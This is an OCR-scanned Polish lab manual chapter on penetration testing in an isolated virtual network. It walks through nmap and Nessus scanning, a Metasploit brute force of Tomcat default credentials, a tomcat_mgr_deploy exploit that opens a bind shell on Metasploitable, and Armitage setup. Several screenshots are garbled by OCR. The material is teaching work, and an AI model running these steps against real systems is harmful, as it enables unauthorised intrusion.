identyfikator sesji. Ustawienie tego parametru zabezpiecza przed wysylaniem
identyfikatora sesji przez protokét HTTP — ciasteczko wysytane jest tylko do
tych czgsci witryny, ktére obstugiwane sa przez bezpieczng wersjg protokotu.

Nalezy réwniez zawsze by¢ czujnym i sprawdzaé czy serwer przedstawit
prawidtowy certyfikat stuzacy szyfrowaniu transmisji.
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5. TESTY PENETRACYJNE

Opracowat:
Cel ¢wiczenia:

Potrzebne narzedzia:

Literatura:

Zadaniem testu penetracyjnego jest symulowanie rzeczywistego ataku,
przeprowadzonego przez intruza. Obiektem atakowanym moze by¢ serwis
internetowy, baza danych czy infrastruktura sieciowa. Testy penetracyjne stuza
wyszukiwaniu podatnosci systemu IT na ataki, prébie przechwycenia informacji
lub przetamania wybranych zabezpieczen. Jest to proces majacy na celu

Stawomir Adamus

przedstawienie specyfiki i przebiegu testu
penetracyjnego

BackTrack Linux 4, Metasploit Framework, Nessus,
Nmap, Armitage

Metasploitable, Debian

D. Maynor, K. K. Mookhey, J. Cervini, F. Roslan, K.
Beaver, Metasploit Toolkit for penetration testing,
exploit development and vulnerability research, wyd.
Syngress 2007.

M. Aharoni, W. Coppola, D. Kearns, D. Kennedy, M.
Memelli, M. Moser, J. O'Gorman, D. Ovitz, C. Perez,
Metasploit Unleashed — Mastering The Framework,
http://www.offensive-security.com/metasploit-
unleashed/Metasploit_Unleashed_Information_Securit
y_Training dostgp z dnia 2010.11.15.

praktyczna oceng biezacego stanu bezpieczenstwa systemu teleinformatycznego,
w szczeg6lnosci obecnosci znanych podatno$ci i odpornosci na znane ataki.

W ¢wiczeniu zaprezentowane zostang przyktadowe ataki z uzyciem
srodowiska Metasploit Framework oraz metody rozpoznania celu z uzyciem
narzedzi nmap i Nessus.

W drugiej czgsci ¢wiczenia zaprezentowane zostanie narzg¢dzie Armitage

automatyzujace proces wykrycia i przejecia kontroli nad systemem.
Schemat sieci wykorzystanej w ¢wiczeniu przedstawia rys. 5.1.
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DHCP
e Debian Linux 5.0
172.16.1.1 /24

BackTrack 4 R2
172.16.1.2/ 24

Metasploitable
172.16.1.6 /1 24

Microsoft Windows Microsoft Ubuntu Linux
Server 2003 Windows 7 10.10
172.16..1.3/24 172.16.1.4 /24 172.16.1.5/ 24

Rys. 5.1. Topologia sieci wykorzystanej w ¢wiczeniu
Zrédlo: opracowanie wilasne.

5.1. Przygotowanie ataku
5.1.1. Uruchom wirtualng maszyng z systemem Debian i zaloguj sie do systemu.

5.1.2. Upewnij sig, ze konfiguracja sieci pozwala na komunikacj¢ z Internetem.
Whpisz w konsoli:

ping —¢c 4 www.google.pl

5.1.3. Uruchom wirtualng maszyng z systemem Metasploitable.

5.1.4. Upewnij sig, ze konfiguracja sieci pozwala na komunikacj¢ wewnatrz sieci
testowej. Wpisz w konsoli:

ping —c 4 172.16.1.1

5.1.5. Uruchom wirtualna maszyng z systemem BackTrack 4 i zaloguj si¢ do
systemu.

5.1.6. Upewnij sig, ze konfiguracja sieci pozwala na komunikacj¢ z Internetem.
Wpisz w konsoli:

ping —c 4 www.google.pl
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5.1.7. Na maszynie z systemem BackTrack zaktualizuj list¢ programéw dostgpnych
z repozytorium. Wpisz w konsoli:

apt-get update

5.1.8. Zainstaluj program Nessus. Wpisz w konsoli:

apt-get install -y nessus nessusd

root@bt: ~ - Shell No. 3 - Konsole
Session Edit View Bookmarks Settings Help

r @bt:~# apt-get install -y nessus nessusd
Reading package lists... Done
Buil g dependency tree
Reading state information... Done
The following extra packages will be installed:
libnasl2 libnessus2 nessus-plugins
The following NEW packages will be installed:
libnasl2 libnessus2 nessus nessus-plugins nessusd
@ upgraded, 5 newly installed, @ to remove and 0 not upgraded.
Need to get 3135kB of archives.
After this operation, 21.3MB of additional disk space will be used.
Get:1 http://archive.offensive-security.com pwnsauce/universe libnessus2 2.2.10-
3 [1683kE]
Get:2 http://archive.offensive-security.com pwnsauce/universe libnasl2 2.2.10-1
[320kB]
Get:3 http://archive.offensive-security.com pwnsauce/universe nessus 2.2.18-3 [2
42kB]
Get:4 http://archive.offensive-security.com pwnsauce/universe nessus-plugins 2.2
o 5 [2257kB]
Get:5 http://archive.offensive-security.com pwnsauce/universe nessusd 2.2.18-3 [
212kE]
Fetched 3135kB in 4s (757kB/s)

& Shell No. 3

Rys. 5.2. Instalacja programu Nessus w systemie BackTrack
Zrédto: opracowanie wlasne.

5.1.9. Zaktualizuj moduty programu Metasploit Framework. Wejdz do katalogu:
/pentest/exploits/framework3.
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Wpisz w konsoli:

cd /pentest/exploits/framework3

root@bt: /pentest/exploits/framework3 - Shell No. 3 - Konsole

Session Edit View Bookmarks Settings Help

# cd /pentest/exploits/framework3
e |

Rys. 5.3. BackTrack — katalog programu Metasploit Framework
Zrédto: opracowanie whasne.

5.1.10. Program aktualizowany jest poprzez repozytorium SVN (ang. Subversion
— system kontroli wersji). Wpisz w konsoli:

svn update

Nastepnie nalezy zaakceptowac certyfikat serwera SVN.
Wcisnij p i <Enter>.

I # svn update
Error validating server certificate for 'https://metasploit.com:443"':

- The certificate is not issued by a trusted authority. Use the

fingerprint to validate the certificate manually!

Certificate information:

- Hostname: metasploit.com

- Valid: from Tue, 16 Mar 2818 12:09:59 GMT until Mon, @1 Apr 2813 22:02:24 GMT
- Issuer: 07969287, http://certificates.godaddy.com/repository, GoDaddy.com, In
c., Scottsdale, Arizona, US

- Fingerprint: da:16:ad:cb:4c:6f:7d:cf:b7:7e:5e:e5:f2:a7:a31:8b:3a:32:63:92
(R)eject, accept (t)emporarily or accept (plermanently pl

Rys. 5.4. Aktualizacja programu Metasploit Framework poprzez repozytorium SVN
Zrédlo: opracowanie wilasne.

5.2. Wykorzystanie narzedzi nmap, Nessus, Metasploit

5.2.1. Wykonaj skanowanie sieci, w ktorej sie znajduje komputer ofiary. Wpisz
w konsoli:

nmap —sP 172.16.1.1/24
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Polecenie to wykona skanowanie typu ping (-sP), czyli tylko wykryje
dostepne w sieci hosty.

~# nmap -sP 172.16.1.1/24

Starting Nmap 5.35DC1 ( http://nmap.org );at 2010-12-15 15:59 CET
Nmap scan report for 172.16.1.1

Host is up (8.8019s laten .

MAC Address: 08:008:27:7 18 (Cadmus Computer Systems)

Nmap scan report for 172.16.1.2
Host is up.
scan report for 172.16.
is up (8.88059s laten q
MAC Address 8:00:27:9E: 87 (Cadmus Computer Systems)
Nmap done: 6 IP addresses (3 hosts up) scanned in 2.38 seconds

il |

Rys. 5.5. Nmap — skanowanie typu ping
Zrédto: opracowanie whasne.

W wyniku skanowania ujawnity sie 3 wiaczone maszyny. Atak zostanie wyko-
nany na maszyne o adresie 172.16.1.6 (komputer z systemem Metasploitable).

5.2.2. Uruchom serwer programu Nessus. Wpisz w konsoli:

nessusd

1~# nessusd
Loading the plugins... 284 {out of 3814)

You are running a version of Nessus which is not configured to receive
a full plugin feed. As a result, your security audits will produce incomplete

results.

To obtain a complete plugin feed, you need to register your Nessus scanner
at the following URL :

W.nessus.org/register/

All plugins loaded

Rys. 5.6. Uruchomienie serwera programu Nessus
Zrédto: opracowanie wilasne.

5.2.3. Uruchom druga instancj¢ konsoli i dodaj uzytkownika do programu
Nessus. Wpisz w konsoli:

nessus-adduser
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5.24.

5.2.5.

5.2.6.

5.2.7.

:~# nessus-adduser
ar/tmp as a temporary file holder

Rys. 5.7. Nessus — dodanie uzytkownika
Zrédlo: opracowanie wilasne.

Wpisz login nowego uzytkownika: bss i wcisnij Enter.

Nastgpnie nalezy wybra¢ metodg uwierzytelnienia. Wpisz pass i wcisnij
Enter.

Authentication (pass/cert) [pass]

Rys. 5.8. Nessus — wybdr metody uwierzytelniania
Zrédlo: opracowanie wilasne.

Nastepnie wprowadz hasto dla nowego uzytkownika. Wpisz zaql @ WSX
dwukrotnie.

Login password

Login password (again)
Rys. 5.9. Nessus — hasto dla nowego uzytkownika
Zrédlo: opracowanie wilasne.

W kolejnym kroku nalezy nada¢ prawa dla nowego uzytkownika. Wci$nij
Ctrl +D, a nastgpnie wpisz y i Enter, aby potwierdzi¢ utworzenie nowego
konta.

nessusd has a rules system which allows you to restrict the hosts
that bss has the right te test. For instance, you may want
him to be able to scan his own host only.

Please see the nessus-adduser(8) man page for the rules syntax

Enter the rules for this user, and hit ctrl-D once you are done :
(the user can have an empty rules set)

Is that ok ? (y/n) [yl

Rys. 5.10. Nessus — ustawienie praw dla uzytkownika
Zrédto: opracowanie wlasne.
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5.2.8. Uruchom program Nessus. Wpisz w konsoli:

nessus

5.2.9. Potacz si¢ z serwerem Nessusd. W gléwnym oknie programu Nessus
w polu Login: wpisz bss, w polu Password: wpisz hasto zagl @ WSX

i kliknij Log in.
BB Nessus Setup =&

Nessusd host| plugins | Credentials | Scan Options | Target | User| Prefs. KB | Credits

MNew session setup

o Messusd Host : |localhost
Port ;| 1241
3 Legin :| bss

Password : @ 9000008

Login

Start the scan Load report Quit

Rys. 5.11. Nessus — taczenie z serwerem
Zrédlo: opracowanie wilasne.

5.2.10. W oknie SSL Setup wybierz pierwsza opcj¢ (Display and remember the
server certificate, do not care about the CA) i kliknij Ok.

Be SSL Setup 7 =
o Please choose your level of SSL paranoia (Hint: if you want to manage many
servers from your client, choose 2. Otherwise, choose 1, or 3, if you are
paranoid,

® Display and remember the server certificate, do not care about the CA;

() Trust the server certificate if and only if it is valid and certified by the cA

() Verify that the server certificate is valid *and* remember it

Rys. 5.12. Nessus — zapisanie certyfikatu serwera
Zrédto: opracowanie wlasne.
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5.2.11. Zatwierdz certyfikat serwera. Kliknij Yes.

5] nessus 2@ =
This certificate has never been shown before. Here it is :
Certificats: I
latal

Version: 3 (0x2)
Serial Mumbers 1 (Oxl)
Signature Rlgorithme wdSUithRSAERcryption
Issuer: C=FR, 5T=Some-State, O=Messus Users United, OU=Certification Authority for bt, 2
[CN=bt./emailAddress=calht
Walidity
Mot Before: Mow 10 06;06317 2010 GMT
Mot AFter @ Mow 10 06:0B:17 2011 GMT
Subject: C=FR, 5T=Some-5tate, O-Nessus Users United, Ol=Server certificate for bt, 2
[Ch=bt/emailAddress=nessusdibt
Subject Public key Info:
Public Key Algorithm: rsaEncruyption
RSA Public Key: (1024 bit)
Hodulus (1024 bit):
003dbiel:13:691de det5ar19163: b6 77 1b3 ad 30y
96:50:08: fbiec:b3:b0:89:7e282:62:8F 1371 72e0:
0e106:doichBard6iel2h9e1Bar 2963100 af 1321
2c:B5:08:d9seb:0Bzectal 19030 1dref 106 08:1e:
TF1471e6:87 1dd10b FB1441hd 14150156132 dat 7y
B1:fl:e6:3F:23:058a: 70105 dB: 7ho43:65: 50:6f 1
£1:931e4:d7 1861631 921031661 2d 0etebi2d: 01 10cy
E1:Be:barbds5f:bPz89: 19 ebsbe: 2f thasBesdls o
7c133:3d:0F 1 Fbrlbsabi 10283
Exponent: 65337 (0x10001)
¥O093 extensions:
Netscape Cert Type: -
SEL Server

Do you accept this certificate ?

Yes No

Rys. 5.13. Nessus — certyfikat serwera
Zrédto: opracowanie wlasne.

5.2.12. Po zalogowaniu do serwera przejdz do zaktadki Plugins i kliknij przycisk
Enable all, aby wlaczy¢ wszystkie moduty odpowiedzialne za wykrywanie
luk.

(=] Nessus Setup
| Nessusd hostil P\uginsl Credentials | Scan Opt\onsi Target | Useri Prefs‘i KBl Credits]I

Plugin selection
AlX Local Security Checks ] @
Backdoors x u
Brute force attacks x
CGl abuses )
CGl abuses | X55 X o
cisco e

L =) |Ld]
Enable all ] [ Disable all 1 l Filter... l
[ Enable dependencies at runtime [ silent dependencies
Start the scan ] [ Load report l [ Quit

Rys. 5.14. Nessus — wybér modutéw
Zrédto: opracowanie wiasne.

134



5.2.13. Przejdz do zakladki Scan options aby zdefiniowa¢ parametry skano-
wania. Zaznacz wszystkie opcje w polu Port scanners.

Nessus Setup

lNassusd hust‘ Dlugmsl Credantlals"scaﬂ Opt\unsl Targst‘ USET‘ Prefs‘l KEil Cred\ts}

Scan options
[] consider unscanned ports as closed
MNumber of hosts to test at the same time : 0

Number of checks to perform at the same time :
Path to the CGls : Jegi-bin

[} Do a reverse lookup on the IP before testing it
[X] Optimize the test

[% Safe checks

[_| Designate hosts by their MAC address

Port scanner :

amap (NASL wrapper)

Netstat 'scanner

SYN Scan

Exclude toplevel domain wildcard host
scan for LaBrea tarpitted hosts

[ Start the scan l l Load report l l Quit ]

Rys. 5.15. Nessus — parametry skanowania
Zrédto: opracowanie wiasne.

5.2.14. Nastgpnie nalezy zdefiniowa¢ cel i uruchomi¢ skanowanie. Przejdz do

zaktadki Target, w polu Target wpisz 172.16.1.6 i kliknij przycisk Start
the scan.

Nessus Setup

[Nessusd hmst‘ Plugms‘ Credentlals‘ Scan Opt\onsuTarget\ user‘ Prefs ‘ KEl Cred\ts}

Target selection

Target(s) : [172.16.0.4] || Readfile.. |

[¥] Perform a DNS zone transfer
[_] save this session
[[] Save empty sessions

Previous sessions :

Session | Targets

[ Restore session ” Delete session l

[ Start the scan ] l Load report ] [ Quit ]

Rys. 5.16. Nessus — zdefiniowanie celu skanowania
Zrédlo: opracowanie wlasne.
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Scanning network from localhost

- Pomeen
172.16.16 Checks :

Stop the whole test

Rys. 5.17. Nessus — skanowanie
Zrédto: opracowanie wlasne.

5.2.15. Po zakonczeniu skanowania aplikacja Nessus wyS$wietla podsumowanie.
Kliknij Save report i zapisz podsumowanie w pliku html (ang. HyperText
Markup Language — jezyk znacznikéw hipertekstu).

Nessus "NG" Report

¢ ssh (22ftep)

= %
Subnet . [ Port > [ Severity ']
¢ unknown (8180/tcp)
telnet (23/tcp)
& P
=
£ !

g - 1721616 |

I Save report... ] [ Close window ]

Rys. 5.18. Nessus — podsumowanie skanowania
Zrédlo: opracowanie wlasne.
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Save Report

% Folders | Z Eiles
S dnssp
Homa of leg.ssl
Desktop @
(= G ca ) D)
Documents IﬁBename File] I %| Delete File]
Save Optiens

Report file format : [ HTML

Selection: ..froot
Iraport|

Rys. 5.19. Nessus — zapisanie raportu
Zrédto: opracowanie wlasne.

5.2.16. Zamknij program Nessus, klikajac Close window, a nastgpnie Quit.

Nessus Setup
INessusd host| Plugms| Credent\a\s| Scan Opt\ons“Tﬁl’gEtl User| Prefs“ KE‘ Credits}
Target selection
Target(s) : (1721616 | [ readfle.. |
(% Perform a DMNS zone transfer
[] save this session
|| Save empty sessions
Prewvious sessions :
Session | Targets
[ Restore session H Delete session ]
Start the scan [ Load report ] [ Quit ]

Rys. 5.20. Nessus — okno skanowania
Zrédto: opracowanie wlasne.
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5.2.17. Otwérz w przegladarce raport programu Nessus. Program wykryt kilka
potencjalnych podatno$ci na atak (wyréznione na ekranie kolorem
czerwonym).

Nessus Scan Report - Kongqueror

Location Edit VMiew Go Bookmarks Tools Settings Window Help

QUOB X =% &=|d
L¥ Location: | @ file:///rootjraport#172_16_1 6 general_tcp "‘ o
=

Analysis of Host [l

:::;e“ °f  |port/service Issue regarding Port

172.16.16 ftp (21fcp) | Securty notes founa

172.16.1.6 ssh {22/tcp) Security notes found

172.16.16 teinst (23/tcp) Sacurity waming(s) found

172.16.1.6 smip {25/tcp) Sacurity notes found

172.16.16 domain (53/tcp) Sacurity waming(s) found

172.16.16 http (B0ftcp) Sacurty waming(s) found

172.16.16 nethios-ssn (139/tcp) Sacurty notes found

172.16.1.6 microsaftds (445/tcp) Sacurity hola found

172.16.16 mysql (3306/tcp) Security notes found

172.16.16 distes (3632/tcp) Security hale found

172.16.1.6 postgrasql (5432fcp) Mo Infarmation

172.16.1.6 ajp13 (B00/icp) No Information

172.16.1.6 unknown (8180/cp) Sacurity notes found

172.16.16 netbios-ns (137/udp) Sacurty waming(s) found

172.16.16 domain (53/udp) Sacurty notes found

172.16.16 generaliudp Sacurity notas found

172.16.16 genaralficmp Sacurity waming(z) found [—‘1

172 1R 1R nanarmliten Sacurty haba fiound ‘.:.'

Rys. 5.21. Raport skanowania programem Nessus
Zrédlo: opracowanie wlasne.

Pod podsumowaniem zamieszczone sa doktadne informacje dotyczace
wykrytych bledéw oraz sugestie dotyczace wyeliminowania luk.

5.2.18. Przeskanuj host z systemem Metasploitable w celu wykrycia rodzaju

1 wersji zainstalowanego oprogramowania. Na maszynie z systemem
BackTrack wpisz w konsoli:

nmap —sV 172.16.1.6
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:~# nmap -sV 172.16.1.6

Starting Nmap 5.35DC1 ( htt 'nm:p org ) at 2010-12-15 17:36 CET
Nmap scan report for 172.1
Host is up (0.00028s laten
Not shown: 988 closed ports
STATE SERVICE VERSION
open ftp ProFTPD 1.3.1
open ssh OpenSSH 4.7pl Debian 8ubuntul (protocol 2.8)
open telnet Linux telnetd
open smtp Postfix smtpd
open domain ISC BIND 9.4
open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.18 with Suhosin-Patch

open netbios-ssn Samba smbd 3.3 rkgroup: WORKGROUP)
open netbios-ssn Samba smbd 3 rkgroup: WORKGROUP)
open  mysql MySQL 5.8.51: -3ubuntu5
open postgresqgl PcstqreSClL DB 8.3.8 - 8.3.7
open ajpl3 C
open http
MAC Address 08:00:27:9E:10:8 Cadmus Computer SySTEI’HﬁJ
Service Info: Host: metasp101‘t=b1e localdomain; 0Ss: Uni

Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap don 1 IP address (1 host up) scanned in 11.59 seconds

Rys. 5.22. Nmap — skanowanie z wykryciem wersji oprogramowania
Zrédto: opracowanie wilasne.

W dalszej czg$ci ¢wiczenia wykorzystany zostanie bad konfiguracji serwera
Apache Tomcat, w ktérym pozostawione zostaly domyslne hasta dostgpowe.
Serwer uruchomiony jest na porcie 8180 i korzysta z silnika JavaServer Pages
w wersji 1.1.

5.2.19. Uruchom s$rodowisko Metasploit. Wpisz w konsoli:

msfconsole

t:~# msf
msfeli msfd msfencode msfmachscan f Lo: msfrpc msfupdate
msfconsole msfelfscan msfgui msfopcode rn-s‘rpes an msfrpcd

t:~# msfconsole

ploits - 316 auxiliary
ads - 27 encoders - 8 nops
(2018.11.22)

warning: This copy of the Metasploit Framework was last updated
We recommend that you update the framework at least every other day
For information on updating your copy of Metasploit, please see:
http: v.metasploit.c m!redmine_.fpmjects_!frame'u.rcrk.!'.-fiki.!Upda‘ting

Rys. 5.23. Uruchomienie $rodowiska Metasploit
Zrédlo: opracowanie wilasne.
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5.2.20. Najpierw nalezy wyszuka¢ odpowiedni modul (ang. exploit — program
majacy na celu wykorzystanie bledéw oprogramowania) obstugujacy
potencjalne zagrozenie. Wpisz w konsoli msf:

tomcat

msf > search tomcat
Searching loaded modules for pattern 'tomcat'...

Disclosure Date Description
admin/http/tomcat administration normal t Administration Tool Default
Access
admin/http/tomcat_utf8_travers normat t UTF-8 Directory Travers
ulnerability
scanner/http/tomcat_enum normal che Tomcat User Enumeration
nner/http/tom mgr_login normal t Application Manager Login U

Disclosure Date R: Description
multi/http/tomcat mgr deploy 2 g excellent t Manager Applic

eployer Upload and Execute
test/cmdweb 8-02-03 man Command Stager Web Test

[ |

Rys. 5.24. Metasploit — wyszukiwanie modutéw
Zrédto: opracowanie whasne.

5.2.21. Wybierz skaner tomcat_mgr_login. Wpisz w konsoli:

use scanner/http/tomcat login

ing loaded modules for pattern 'tomcat’...

Name

dmin/http/tomc normal t Administration Tool Default
A SS
admin/http/tomcat_utfs_ r normal-—~Tomgat UTF-8 Directory T
Julnerabi
normal Apache Tomcat User Enumeration
normal

Name Disclosure Date Rank Description

multi/http/tomcat mgr_deploy L Apache Tomcat Manager Application D
|eployer Upload and Execute

test/cmdweb 810 8 ELUENS Command Stager Web Test

canner/http/tomcat mgr
q )

Rys. 5.25. Metasploit — wyb6r modutu
Zrédlo: opracowanie wilasne.
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5.2.22. Wyswietl opcje konfiguracyjne modutu. Wpisz w konsoli:

show options

msf auxiliary{tomcat mgr login) > show options

Module options:

ELES Current Setting
red Description

PASSWORDS true

Try blank passwords for all users

BRUTEFORCE_SPEED 5
ast to bruteforce, from 0 to 5

PASSWORD

A specific password to authenticate with
PASS_FILE Jopt/metasploit3/msf3/data/wordlists/tomcat mgr default pass.txt

File containing passwerds, one per line
Proxies

Use a proxy chain
RHOSTS

The target address range or CIDR didentifier
RPORT 8080

The target port
STOP_ON_SUCCESS  false

Stop guessing when a credential works for a host
THREADS 1

The number of concurrent threads
USERNAME

A specific username to authenticate as

Rys. 5.26. Metasploit — konfiguracja modutu
Zrédlo: opracowanie wilasne.

5.2.23. Nalezy ustawi¢ adres IP atakowanego komputera oraz zmieni¢ port
programu Tomcat z domys$lnego 8080 na 8180 wykryty podczas
skanowania. Wpisz w konsoli:

set RHOSTS 1
set RPORT 8

) = set RHOSTS 172.16.1.6

) = set RPORT 8180

Rys. 5.27. Metasploit — ustawienie parametréw modutu
Zrédlo: opracowanie wilasne.
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5.2.24. Uruchom skaner tomcat_mgr_login. Wpisz w konsoli:

run

to login as 'tomcat’
172.16.1.6:8180 - Trying username:'tomcat' with password:'rolel’
htt 2.16.1.6:8188/manager/html [Apache-Coyote/1.1] [Tomcat Applicatien Manager]

Trying username:'tomcat’ with password: 'root®
6:8180/manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed

Trying username:'tomcat' with password:'tomcat’
6:8180/manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] success
'tomcat’

Trying username:'both' with password:‘admin'
6:81808/manager/html [Apache-Coyote/1.1]-[Tomcat Application Manager] failed

Trying username:'both’ with password: 'manager’
6:8180/manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed

Trying username:'both' with password:'rolel’
6:8180/manager/html [Apache-Coyote/1.1] [Tomcat Applicatien Manager] failed

Trying username:'both® with password: root’
6:8180/manager/html [Apache-Coyote/1.1] [Tomcat Applicatien Manager]

> Trying username:'both’ with password:'tomcat’
[-1 h ://172.16.1.6:8180/manager/html [Apache-Coyote/1.1] [Tomcat Application Manager]
to login as '

Scanned 1 of 1 hosts (100% complete)

Rys. 5.28. Metasploit — uruchomienie skanera
Zrédlo: opracowanie wilasne.

Skaner sprawdzi wszystkie domyslne loginy i hasta programu Tomcat. Zielony
znak [+] znajdujacy si¢ przy probie logowania oznacza pasujace poswiadczenia:

Login: tomcat

Hasto: tomcat

5.2.25. Korzystajac z wyszukanego wczesniej modutu tomcat_mgr_deploy mozna
przesta¢ payload (ang. tadunek, blok danych przesytanych po udanym
wlamaniu do systemu) do atakowanej maszyny. Wpisz w konsoli:

use multi/http/tomcat._mgr_deplo

5.2.26. Ustaw niezbedne opcje modutu. Wpisz w konsoli:

set RHOST 172.16.1.6
set RPORT 8180

set PASSWORD tomcat
set USERNAME tomcat
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msf

> use multi/http/tomcat_mgr_deploy
RHOST 172.16.1.8

RPORT 8180

exploit(tomcat mgr deploy) = PASSWORD tomcat

PASSWORD

msf

exploit( icat_mgr_deploy) = USERNAME tomcat

USERNAME to

msf

5.2.27.

set
set
set
set
set
set
set
set
set
set
set
set
set
set
set

msf

PA

msf

5.2.28.

exploit(t:

Rys. 5.29. Metasploit — konfiguracja modutu
Zrédto: opracowanie whasne.

Nastgpnie wybierz tadunek, ktéry zostanie przestany do maszyny.
W przyktadzie zastosowany zostanie tadunek shell_bind_tcp, dzieki
ktéremu uzyskany zostanie dostgp do konsoli atakowanego systemu.
Wpisz w konsoli:

I loy) >

86/ chmod

PAYLOAD 1i 6/ C

PAYLOAD 1i meterpreter/bind_ipvé_tcp

PAYLDAD 1 «<86/meterpreter/bind_tcp

PAYLOAD 11 «(86/meterpreter/reverse_ipvé_tcp

PAYLDAD 11 meterpreter/reverse_t

PAYLOAD 1i vc_bind tcp

PAYLDAD linux vc_reverse tcp

PAYLOAD 1i ind_ipw6_tcp

PAYLOAD 1i

PAYLDAD 1i

PAYLOAD 1 «86/shell/reverse_tcp

PAYLDAD 11 shell_bind_ipvé_tcp

PAYLOAD 1i shell_bind_tcp

PAYLOAD 1i everse_tcp

PAYLOAD 1i i _reverse tcp2
loit(tomc: C ) set PAYLOAD lin Jshell _bind_tcp

exploit(tc

Rys. 5.30. Metasploit — wyb6r tadunku
Zrédto: opracowanie whasne.

Uruchom wykonanie modutu tomcat_mgr_deploy. Wpisz w konsoli:

> exploit

Started bind handler

Attempting to automatically select a target...

Automatic selected target "Linux x86"

Uploading 4 bytes as B8dIPPLD yI8JUMeHCpqf.war ...

Executing /B8d9PP1Da62X ] MeHC 94DFkBUOQICII3. jsp.. .

Undeploying B8d9PP1Da62’ I81UMeHCpqf

Command shell session 1 opened (172.16.1.2:53142 -> 172.16.1.6:4444) at Wed Dec 15 20:17:59
+0166 2016

Rys. 5.31. Metasploit — uruchomienie modutu
Zrédlo: opracowanie wilasne.
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5.2.29. Uzyskany zostat dostep do konsoli systemu Metasploitable. Wpisz w konsoli:

whoami
ifc

Command shell session 1 opened (172.16.1.2:53142 -> 172.16.1.6:4444) at Wed Dec 15 20:17:59
+8100 2010

h: ifcifconfig: mot found

Link encap:Ethernet HWaddr 08:0

inet addr:172.16.1.6 C 2

inet6 addr: fe80::ap@:27ff:

UP BROADCAST RUNNING MULTICAST MTU:15 484

X packets:132988 errors:0 dropped:@ overruns:@-frame:e

TX bytes:17459834 (16.6 MB)
xde1e Memory:fo000000-fE020000

Link encap:Local Loopback
inet addr:12 8.1 Mask:255.0.0.0
inet6 addr 1/128 Scope:Host
UP LOOPBACI NNING MTU:16436 Metric:1
RX packets:1492 errors:0 dropped:® overruns:® frame:@
c 11492 errors:@ dropped:® overruns:® carrier:@
10 txqueuelen:®
ytes:733941 (716.7 KB) TX bytes:733941 (716.7 KB)

tomecatss

Rys. 5.32. Metasploit — dostgp do konsoli systemu ofiary
Zrédlo: opracowanie wilasne.

ZostaliSmy zalogowani na konto uzytkownika tomcat55 i znajdujemy si¢ na
komputerze o adresie IP 172.16.1.6

5.2.30. Wyjdz z konsoli systemu Metasploitable i z programu Metasploit. Wpisz
dwukrotnie w konsoli:

5.3. Armitage

Narzedzie Armitage jest graficzng naktadka na program Metasploit, przez co
umozliwia wykorzystanie go bez znajomosci sktadni polecen, ale réwniez
pozwala na lepsze wykorzystanie jego mozliwosci, przejrzyste wizualizowanie
stanu calego testu penetracyjnego oraz lepszy dobor modutéw do okreslonych
zastosowan.

Najnowsza wersje programu Armitage mozna S$ciagnaé ze strony

http://www.fastandeasyhacking.com/download.
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5.3.1. Skopiuj archiwum z programem Armitage z dotaczonej ptyty DVD z katalogu
Testy penetracyjne do katalogu /root/ w systemie BackTrack.

5.3.2. Rozpakuj archiwum. Wpisz w konsoli:

tar zxvf armitage121310.tgz

5.3.3. Uruchom demona msfrpcd. Sktadnia polecenia:
msfrped -f —U <user> -P <pass> -t Basic
gdzie:
-f - uruchomienie demona w trybie widocznym,
-U <user> - zdefiniowanie uzytkownika,

-P <pass> - zdefiniowanie hasta dla uzytkownika.

Wpisz w konsoli:

msfrpcd —f —U bss —P pentest —t Basic

bt: # msfrpcd -f -U bss -P pentest -t Basic
MLRPC starting on 0.8.8.8:55553 (SSL):Basic...

Rys. 5.33. Uruchomienie demona MSFRPCD
Zrédto: opracowanie whasne.

5.3.4. Uruchom baze danych, z ktérej bedzie korzystal program Armitage, w nowej
instancji konsoli. Baza danych w systemie Backtrack 4R2 jest juz wstgpnie
skonfigurowana. Wpisz w konsoli:

/etc/init.d/mysql start

root@bt:~# /etc/init.d/mysql start
Starting MySQL database server: mysgld.

Checking for corrupt, not cleanly closed and upgrade needing tables..
root@bt:-# ]

Rys. 5.34. Uruchomienie bazy danych MYSQL w systemie BackTrack
Zrédlo: opracowanie wilasne.

5.3.5. Wejdz do katalogu z programem Armitage i go uruchom. Wpisz w konsoli:
cd /root/armitage
Jarmitage.sh
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5.3.6. W oknie Connect... wpisz w pola nastgpujace dane:

Host 127.0.0.1

Port 55553

User bss

Pass pentest

DB Driver mysql

DB Connect String root:”’toor”’ @127.0.0.1/msf3

Nastepnie zaznacz opcje¢ Use SSL i wcisnij przycisk Connect

t:~# cd /root/armitage
: # ./armitage.sh

Connect...

127.0.0.1

55553

User bss

Pass pentest

DB Driver | mysgl v
DE Connect String root:"toor"@127.0.0.1/msf3 | | 7 | I

| Connect | | Start MSF [ | Exit |

Rys. 5.35. Konfiguracja programu Armitage do potaczenia z baza danych
Zrédto: opracowanie wilasne.

5.3.7.W oknie Message kliknij OK.

Message————=6x
6 [¥] Using database driver mysg|
QK I

Rys. 5.36. Potwierdzenie potaczenia z baza danych MYSQL
Zrédto: opracowanie wlasne.
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5.3.8. Wykonaj skanowanie sieci w celu wykrycia dostgpnych hostow. W gléwnym
oknie programu Armitage wejdz w menu Hosts -> Nmap Scan -> Intense
Scan, all TCP ports.

=B Armitage

Armitage View NEBHEM Attacks Workspaces Help

» (5§ auxiliary Import Hosts b
] exploit Add Hosts...
& payload TR Intense Scan
MERSCan Intense Scan + UDP
Clear Hosts Intense Scan, all TCP ports
Intense Scan, no ping
Ping Scan
Quick Scan
Quick Scan (0S detect)
Comprehensive
Console X

=[ metasploit v3.5.1-dev [core:3.5 api:1.0]
635 exploits - 316 auxiliary

=[ 215 payloads - 27 encoders - 8 nops

=[ svn r11089 updated 23 days ago (2010.11.22)

pdating your copy of Metasploit, please see:
http://www. ploit.com/redmine/projects/framework/wiki/Updating

Rys. 5.37. Uruchomienie skanowania sieci w programie Armitage
Zrédto: opracowanie wilasne.

5.3.9. W oknie Input wpisz 172.16.1.0/24 i kliknij OK.

— Enter scan range (e.g., 192.168.1.0/24):
172.16.1.0/24|

| cancel | [ ok | §
—

Rys. 5.38. Armitage — parametry skanowania
Zrédlo: opracowanie wilasne.
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5.3.10. Po zakonczeniu skanowania kliknij OK.

6 Scan Complete!
Use Attacks-=Find Attacks to suggest |

applicable exploits for your targets.

Lok |

Rys. 5.39. Armitage — zakohczenie skanowania
Zrédto: opracowanie wilasne.

